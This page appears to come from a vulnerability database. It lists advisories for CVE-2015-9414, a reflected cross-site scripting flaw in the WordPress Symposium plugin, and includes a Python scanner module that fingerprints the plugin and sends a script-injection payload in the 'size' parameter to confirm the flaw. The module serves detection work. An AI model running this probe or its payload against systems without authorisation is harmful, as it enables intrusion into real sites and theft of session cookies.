WordPress Symposium <=15.8.1 - Cross-Site Scripting Detection
| Reporter | Title | Published | Views | Family All 14 |
|---|---|---|---|---|
| CVE-2015-9414 | 26 Sep 201909:01 | – | circl | |
| WordPress wp-symposium plugin cross-site scripting vulnerability | 29 Sep 201900:00 | – | cnvd | |
| CVE-2015-9414 | 25 Sep 201923:27 | – | cve | |
| CVE-2015-9414 | 25 Sep 201923:27 | – | cvelist | |
| EUVD-2015-9254 | 7 Oct 202500:30 | – | euvd | |
| CVE-2015-9414 | 25 Sep 201923:27 | – | mend | |
| WordPress Symposium <=15.8.1 - Cross-Site Scripting | 22 Oct 202602:06 | – | nuclei | |
| CVE-2015-9414 | 26 Sep 201900:15 | – | nvd | |
| Code injection | 26 Sep 201900:15 | – | prion | |
| PT-2019-7373 | 25 Sep 201900:00 | – | ptsecurity |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""WordPress Symposium through 15."""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'WordPress Symposium <=15.8.1 - Cross-Site Scripting Detection',
'description': 'WordPress Symposium through 15.8.1 contains a reflected cross-site scripting vulnerability via the wp-content/plugins/wp-symposium/get_album_item.php?size parameter which allows an attacker to steal cookie-based authentication credentials and launch other attacks.',
'author': ['KittySploit Team'],
'severity': 'medium',
'tags': ['web', 'scanner', 'cve2015', 'cve', 'xss', 'wpscan', 'wordpress', 'wp-plugin', 'wpsymposiumpro', 'vuln'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 2,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.4,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'risk_signal',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': [],
},
},
'references': [
'https://wpscan.com/vulnerability/2ac2d43f-bf3f-4831-9585-5c5484051095',
'https://wpvulndb.com/vulnerabilities/8175',
'https://wordpress.org/plugins/wp-symposium/#developers',
'https://nvd.nist.gov/vuln/detail/CVE-2015-9414',
'https://github.com/ARPSyndicate/kenzer-templates',
],
'cve': 'CVE-2015-9414',
}
def run(self):
path = '/wp-content/plugins/wp-symposium/readme.txt'
r = self.http_request(method='GET', path=path, allow_redirects=False)
if not r or r.status_code != 200:
return False
body = r.text or ""
body_all = ('WP Symposium', 'Tags:',)
if not (all(m in body for m in body_all)):
return False
path = '/wp-content/plugins/wp-symposium/get_album_item.php?size=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
r = self.http_request(method='GET', path=path, allow_redirects=False)
if not r or r.status_code != 200:
return False
body = r.text or ""
headers = "\n".join(f"{k}: {v}" for k, v in r.headers.items())
body_any = ('</script><script>alert(document.domain)</script>',)
header_any = ('text/html',)
if (any(m in body for m in body_any)) and (any(m in headers for m in header_any)):
self.set_info(severity='medium', reason='WordPress Symposium <=15.8.1 - Cross-Site Scripting detected', path=path)
return True
return False
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28 Jul 2026 11:27Current
6Medium risk
Vulners AI Score6
CVSS 24.3
CVSS 3.16.1
EPSS0.03605